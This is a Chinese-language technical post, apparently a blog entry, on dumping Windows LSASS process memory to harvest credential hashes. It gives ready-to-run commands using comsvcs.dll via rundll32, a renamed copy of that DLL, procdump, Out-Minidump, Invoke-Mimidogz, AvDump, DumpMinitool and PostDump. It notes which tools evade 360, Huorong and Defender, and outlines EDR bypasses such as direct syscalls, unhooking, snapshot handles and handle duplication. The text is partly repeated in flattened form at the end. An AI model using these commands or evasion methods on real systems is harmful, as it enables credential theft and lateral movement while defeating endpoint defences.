dump lsass小结
字数 1918 2025-08-07 00:34:54

LSASS 进程内存转储技术详解与防御绕过方法

0x00 前言

凭证转储是攻击者用来破坏基础设施的最常用技术之一,通过窃取敏感凭证信息使攻击者能够在目标环境中进一步横向移动。本地安全机构子系统服务(lsass.exe)进程负责此操作,本文详细总结各种转储lsass进程内存的技术方法。

0x01 Windows Hash组成

Windows系统下的hash密码格式为:

用户名:RID:LM-HASH值:NT-HASH值

示例:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::

解析:

  • 用户名称:Administrator
  • RID:500
  • LM-HASH值:C8825DB10F2590EAAAD3B435B51404EE
  • NTLM-HASH值:683020925C5D8569C23AA724774CE6CC

0x02 整体流程

  1. 使用OpenProcess/NtOpenProcess调用打开lsass进程的PID,需要PROCESS_QUERY_INFORMATIONPROCESS_VM_READ权限
  2. 使用MiniDumpWriteDump读取lsass的所有进程地址空间,并保存到磁盘文件

注:MiniDumpWriteDump严重依赖于NtReadVirtualMemory系统调用来读取远程进程的内存

相关API文档:

0x03 常见检测点与绕过方法

检测点1:OpenProcess/NtOpenProcess调用

Windows内核允许驱动程序为进程句柄操作注册回调例程,通过ObRegisterCallbacks实现,使用以下结构:

  • OB_CALLBACK_REGISTRATION
  • OB_OPERATION_REGISTRATION

OB_OPERATION_REGISTRATION结构允许直接从内核监视任何新创建/复制的进程句柄。

检测点2:NtReadVirtualMemory调用

EDR常用方法:

  1. Inline Hooking拦截针对lsass进程的NtReadVirtualMemory调用

  2. ETW(事件跟踪)从内核接收函数调用通知

    • 内核函数EtwTiLogReadWriteVm用于跟踪NtReadVirtualMemory调用

Bypass思路小结

  1. 进程快照法

    • 创建进程快照,使用快照句柄执行间接内存读取
    • MiniDumpWriteDump调用中使用快照句柄而非直接进程句柄
    • 参考
  2. 句柄复制法

    • 重用已打开的lsass进程句柄,避免直接调用OpenProcess
  3. MirrorDump法

    • 加载任意LSA插件,从lsass进程复制句柄到转储进程
    • 参考

0x04 命令执行方法

注意:需要使用powershell,默认cmd没有SeDebug权限

  1. 使用rundll32调用comsvcs.dll:
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump (Get-Process lsass).Id Test.dmp full
Wait-Process -Id (Get-Process rundll32).id
  1. 通过tasklist获取PID:
for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %B lsass.dmp full
  1. 直接指定PID:
powershell "rundll32 C:\windows\System32\comsvcs.dll, MiniDump 520 lsass.dmp full"

0x05 工具与方法详解

1. ProcDump(微软商店工具,已失效)

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2. SQLDumper.exe(微软签名工具,已失效)

3. comsvcs.dll(系统自带)

会被360、Defender拦截,可绕过火绒

权限要求:需要开启SeDebugPrivilege权限

  • 管理员cmd:默认支持但禁用状态
  • 管理员powershell:默认支持且启用状态

绕过方法

copy C:\windows\System32\comsvcs.dll matrix.dll
rundll32.exe matrix.dll, MiniDump <PID> lsass.dmp full

4. createdump.exe(.NET5附带工具,已失效)

5. PowerSploit的Out-MiniDump.ps1

会被Defender拦截,可绕过火绒、360

Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump

6. hashdump脚本

注意:cmd或双击hashdumpX64.exe只会生成0kb文件,必须通过PowerShell执行

7. mimidogz(PS版mimikatz,已失效)

Import-Module .\Invoke-Mimidogz.ps1
invoke-mimidogz

8. AvDump.exe(Avast自带工具)

绕过火绒

AvDump.exe --pid 1060 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

9. DumpMinitool.exe(Visual Studio附带LOLBIN)

绕过360、火绒、Defender

DumpMinitool.x86.exe --file 1.txt --processId 1060 --dumpType Full

0x06 项目推荐

PostDump

  • 绕过360、火绒、Defender
  • 使用命令:
Malseclogon.exe -p [PID] -d 1 -o C:\path\to\output.dmp
  • 需要管理员权限

0x07 注意事项

  1. mimikatz执行sekurlsa::minidump时,dmp文件不必是标准格式,只要内存区域正确即可
  2. 各种工具的有效性会随安全产品更新而变化,需持续测试
  3. 优先使用带有合法签名的工具(如微软、Avast等)可提高成功率
LSASS 进程内存转储技术详解与防御绕过方法 0x00 前言 凭证转储是攻击者用来破坏基础设施的最常用技术之一,通过窃取敏感凭证信息使攻击者能够在目标环境中进一步横向移动。本地安全机构子系统服务(lsass.exe)进程负责此操作,本文详细总结各种转储lsass进程内存的技术方法。 0x01 Windows Hash组成 Windows系统下的hash密码格式为: 示例: 解析: 用户名称:Administrator RID:500 LM-HASH值:C8825DB10F2590EAAAD3B435B51404EE NTLM-HASH值:683020925C5D8569C23AA724774CE6CC 0x02 整体流程 使用 OpenProcess/NtOpenProcess 调用打开lsass进程的PID,需要 PROCESS_QUERY_INFORMATION 和 PROCESS_VM_READ 权限 使用 MiniDumpWriteDump 读取lsass的所有进程地址空间,并保存到磁盘文件 注: MiniDumpWriteDump 严重依赖于 NtReadVirtualMemory 系统调用来读取远程进程的内存 相关API文档: OpenProcess NtOpenProcess MiniDumpWriteDump NtReadVirtualMemory 0x03 常见检测点与绕过方法 检测点1:OpenProcess/NtOpenProcess调用 Windows内核允许驱动程序为进程句柄操作注册回调例程,通过 ObRegisterCallbacks 实现,使用以下结构: OB_CALLBACK_REGISTRATION OB_OPERATION_REGISTRATION OB_OPERATION_REGISTRATION 结构允许直接从内核监视任何新创建/复制的进程句柄。 检测点2:NtReadVirtualMemory调用 EDR常用方法: Inline Hooking拦截针对lsass进程的 NtReadVirtualMemory 调用 绕过方法:直接系统调用或unhooking技术 直接系统调用参考 unhooking参考 ETW(事件跟踪)从内核接收函数调用通知 内核函数 EtwTiLogReadWriteVm 用于跟踪 NtReadVirtualMemory 调用 Bypass思路小结 进程快照法 : 创建进程快照,使用快照句柄执行间接内存读取 在 MiniDumpWriteDump 调用中使用快照句柄而非直接进程句柄 参考 句柄复制法 : 重用已打开的lsass进程句柄,避免直接调用 OpenProcess MirrorDump法 : 加载任意LSA插件,从lsass进程复制句柄到转储进程 参考 0x04 命令执行方法 注意:需要使用powershell,默认cmd没有SeDebug权限 使用rundll32调用comsvcs.dll: 通过tasklist获取PID: 直接指定PID: 0x05 工具与方法详解 1. ProcDump(微软商店工具,已失效) 2. SQLDumper.exe(微软签名工具,已失效) 3. comsvcs.dll(系统自带) 会被360、Defender拦截,可绕过火绒 权限要求 :需要开启SeDebugPrivilege权限 管理员cmd:默认支持但禁用状态 管理员powershell:默认支持且启用状态 绕过方法 : 4. createdump.exe(.NET5附带工具,已失效) 5. PowerSploit的Out-MiniDump.ps1 会被Defender拦截,可绕过火绒、360 6. hashdump脚本 注意:cmd或双击hashdumpX64.exe只会生成0kb文件,必须通过PowerShell执行 7. mimidogz(PS版mimikatz,已失效) 8. AvDump.exe(Avast自带工具) 绕过火绒 9. DumpMinitool.exe(Visual Studio附带LOLBIN) 绕过360、火绒、Defender 0x06 项目推荐 PostDump : 绕过360、火绒、Defender 使用命令: 需要管理员权限 0x07 注意事项 mimikatz执行 sekurlsa::minidump 时,dmp文件不必是标准格式,只要内存区域正确即可 各种工具的有效性会随安全产品更新而变化,需持续测试 优先使用带有合法签名的工具(如微软、Avast等)可提高成功率